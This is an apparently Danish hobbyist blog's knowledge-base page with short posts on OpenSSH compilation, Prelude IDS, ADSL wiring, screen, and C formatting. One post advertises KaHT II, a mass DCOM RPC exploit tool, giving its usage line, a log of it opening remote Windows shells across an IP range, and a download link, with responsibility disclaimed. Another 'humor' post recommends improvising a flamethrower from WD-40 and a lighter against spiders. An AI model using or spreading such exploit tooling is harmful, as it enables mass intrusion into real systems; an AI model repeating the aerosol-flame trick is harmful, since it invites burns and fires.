OpenSSH 3.1.7p1 på Linux < 2.4.x

Udpak og ./configure

Aendrede i config.h:

/* Define if you have the `setresgid' function. */
#define HAVE_SETRESGID 1

/* Define if you have the `setresuid' function. */
#define HAVE_SETRESUID 1


til:

/* Define if you have the `setresgid' function. */
/* #define HAVE_SETRESGID 1 */

/* Define if you have the `setresuid' function. */
/* #define HAVE_SETRESUID 1 */

make og make install

 

Udgivet i Knowledge Base, Linux, Old Base | Skriv en kommentar

How to start prelude ids

Guiden til configuration kommer en anden gang.

prelude-manager -d
prelude-nids -i eth0 -d

Udgivet i Intrusion detection, Knowledge Base, Networking, Old Base, Security | Skriv en kommentar

last breath of dcom!

dcom exploitet behøves jeg vel ikke at forklare..
men anyway er der nogen der ikke forstod hvad det handled om..
jeg kender ikke noget til ansvar, så det er på egen ryg du henter zip-filen..
Prins knud og andre:
example: KaHT.exe 10.10.40.0 10.10.255.255 300
_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
________________________________________________

[+] Targets: 10.10.40.0-10.10.255.255 with 300 Threads
[+] Scan In Progress...
- Connecting to 10.10.40.4
Sending Exploit to a [Win2k] Server.... FAILED
- Connecting to 10.10.40.9
Sending Exploit to a [WinXP] Server.... FAILED
- Connecting to 10.10.40.12
Sending Exploit to a [WinXP] Server.... FAILED
- Connecting to 10.10.40.21
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>.
- Connection Closed
- Connecting to 10.10.40.52
Sending Exploit to a [WinXP] Server... FAILED
. - Connecting to 10.10.40.50
Sending Exploit to a [Win2k] Server...
- Conectando con la Shell Remota...

Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>exit

- Connection Closed
- Connecting to 10.10.40.62
Sending Exploit to a [WinXP] Server.... FAILED
- Connecting to 10.10.40.78
Sending Exploit to a [Win2k] Server...
- Conectando con la Shell Remota...

Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>.
C:\WINNT\system32>...exit
- Connection Closed
- Connecting to 10.10.40.105
Sending Exploit to a [Win2k] Server... FAILED
- Connecting to 10.10.40.97
Sending Exploit to a [Win2k] Server... FAILED
- Connecting to 10.10.40.116
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
C:\WINDOWS\system32>exit
- Connection Closed
- Connecting to 10.10.40.129
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>exit
- Connection Closed
- Connecting to 10.10.40.128
Sending Exploit to a [Win2k] Server... FAILED
- Connecting to 10.10.40.151
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 10.10.40.163
Sending Exploit to a [Win2k] Server... FAILED
- Connecting to 10.10.40.166
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 10.10.40.168
Sending Exploit to a [WinXP] Server.... FAILED
- Connecting to 10.10.40.233
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 10.10.40.83
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 10.10.40.238
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 10.10.40.250
Sending Exploit to a [Win2k] Server...
- Conectando con la Shell Remota...

Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

ja, skal jeg sige mere??
jo du mangler et sted at hente den..:
http://base.fujang.dk/files/charles/kaht2.zip

 

Udgivet i Exploits, Knowledge Base, Old Base, Windows | Skriv en kommentar

“screen” with names

To give your screens names so you have a fair chance to remember them instead of their pid use
screen -S name program
ie: “screen -S irc irssi” to use irssi in a screen

//Vladimirr.dk

Udgivet i Knowledge Base, Old Base | Skriv en kommentar

2600dk.net

Lav BBS
Kig på news shit(vil tro nyhedstekst skal laves om til blob)
Lav forklaring til textz ratings
Lav ‘opret bruger’
Lav post link
Lav change profile

Udgivet i Knowledge Base, Old Base | Skriv en kommentar

ADSL sammenkobling

adsl samling:

Står din gateway langt fra hvor telefonkablerne kommer
ind i huset? Eller har du mange telefonstik i huset og
gider ikke til  at trække  nye kabler  ud til dem alle 
sammen? Så kan du trække  et nyt kabel fra et sted tæt
på din  indgangsdåse  og til din  gateway  med det her
diagram

her kommer ledningen    
ind i huset
(rød)                   (rød)
------------\   /------------ 
(blå)       |   |       (blå)
----------\ | /-O------------  
(gul)     | | | |       (gul)
--------x-O-O-O-O------------
        | | | | |
        1 2 3 4 5  Find det sted  hvor ledningen kommer
        | | | | |  ind i  huset. Klip  den  røde og den 
        | | | | |  blå over  og sæt en  5 leder ledning
        | | | | |  på som vist. Den gule ledning bliver
        | | | | |  ikke lavet  om eller brugt  til adsl
        | | | | |  så  den  kan du  bare  lade  gå lige       
        | | | | |  igennem.  Sæt   dobbeltstikket   til    
        | | | | |  skillefiltret  i  hunstikket og  sæt    
        | | | | |  han stikket oven  i. Nu virker  alle       
        | | | | |  telefoner i huset igen.
        | | | | |
        | | | | |
        | | | | |  (rød-ind)
        | | \-O-O-----------
        | |   | |  (blå-ind)
        | \---O-O-----------  hunstik
        |     | |  (gul)
        x-----O-O-----------
        |     | |
        |     | |   (rød-ud)
        |     | \-----------
        |     |     (blå-ud)
        |     \------------- hanstik
        |              (gul)
        \-------------------

 

Udgivet i Knowledge Base, Networking, Old Base, Uncategorized | Skriv en kommentar

How to get rid of big ugly spiders

Fetch some WD-40 and a lighter

Turn on the lighter about 20 cm’s from the spider, and spray it with the wd40 for 2-3 seconds, now the spider will be gone and if not give it a couple of seconds.

Use with caution body and material damage may accour, i take no responsebility

Udgivet i Humor, Knowledge Base, Old Base | Skriv en kommentar

C operator precedence

Table 4.11 lists all the C operators in order of decreasing
precedence. Operators on the same line have the same precedence.

 Table 4.11. C operator precedence.

Level Operators
1 () [] -> .
2 ! ~ ++ -- * (indirection) & (address-of) (type)
sizeof + (unary) - (unary)
3 * (multiplication) / %
4 + -
5 << >>
6 < <= > >=
7 == !=
8 & (bitwise AND)
9 ^
10 |
11 &&
12 ||
13 ?:
14 = += -= *= /= %= &= ^= |= <<= >>=
15 ,
() is the function operator; [] is the array operator.

 

Udgivet i Knowledge Base, Old Base, Programmering | Skriv en kommentar

Using indent on C code

this slamcoded program works fine, but looks like shit:

#include <unistd.h>

int main (int argc, char **argv)
{
  if (argc < 2) { printf ("Hva har du kog i fister?\n"); }
  else if (!strcmp (argv[1], "-GiB"))
           { printf ("Gibibyte\n");  system ("df -h");
} else if (!strcmp (argv[1], "-GB"))
       { printf ("Gigabyte\n");
         system ("df -H");
} else {
 printf ("%s [-GiB|-GB]\n", argv[0]);
}
}

if you use the program indent on it, it will look real nice:

GNU style:

indent <file>

#include <unistd.h>

int
main (int argc, char **argv)
{
  if (argc < 2)
    {
      printf ("Hva har du kog i fister?\n");
    }
  else if (!strcmp (argv[1], "-GiB"))
    {
      printf ("Gibibyte\n");
      system ("df -h");
    }
  else if (!strcmp (argv[1], "-GB"))
    {
      printf ("Gigabyte\n");
      system ("df -H");
    }
  else
    {
      printf ("%s [-GiB|-GB]\n", argv[0]);
    }
}

Kernighan  & Ritchie style:

indent -kr <file>

#include <unistd.h>

int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Hva har du kog i fister?\n");
    } else if (!strcmp(argv[1], "-GiB")) {
        printf("Gibibyte\n");
        system("df -h");
    } else if (!strcmp(argv[1], "-GB")) {
        printf("Gigabyte\n");
        system("df -H");
    } else {
        printf("%s [-GiB|-GB]\n", argv[0]);
    }
}

have fun slamcoding :D

 

Udgivet i Knowledge Base, Old Base, Programmering | Skriv en kommentar

C eksempel med argv, argc og system()

#include <stdio.h>

int
main(int argc, char **argv)
{
if (argc < 2) {
printf(“Hva har du kog i fister?\n”);
} else
if (!strcmp(argv[1], “-GiB”)) {
printf(“Gibibyte\n”);
system(“df -h”);
} else if (!strcmp(argv[1], “-GB”)) {
printf(“Gigabyte\n”);
system(“df -H”);
} else {
printf(“%s [-GiB|-GB]\n”, argv[0]);
}
}

Dedikeret til EizCold, SCOTD (SlamCoderOfToday)

Udgivet i Knowledge Base, Old Base, Programmering | Skriv en kommentar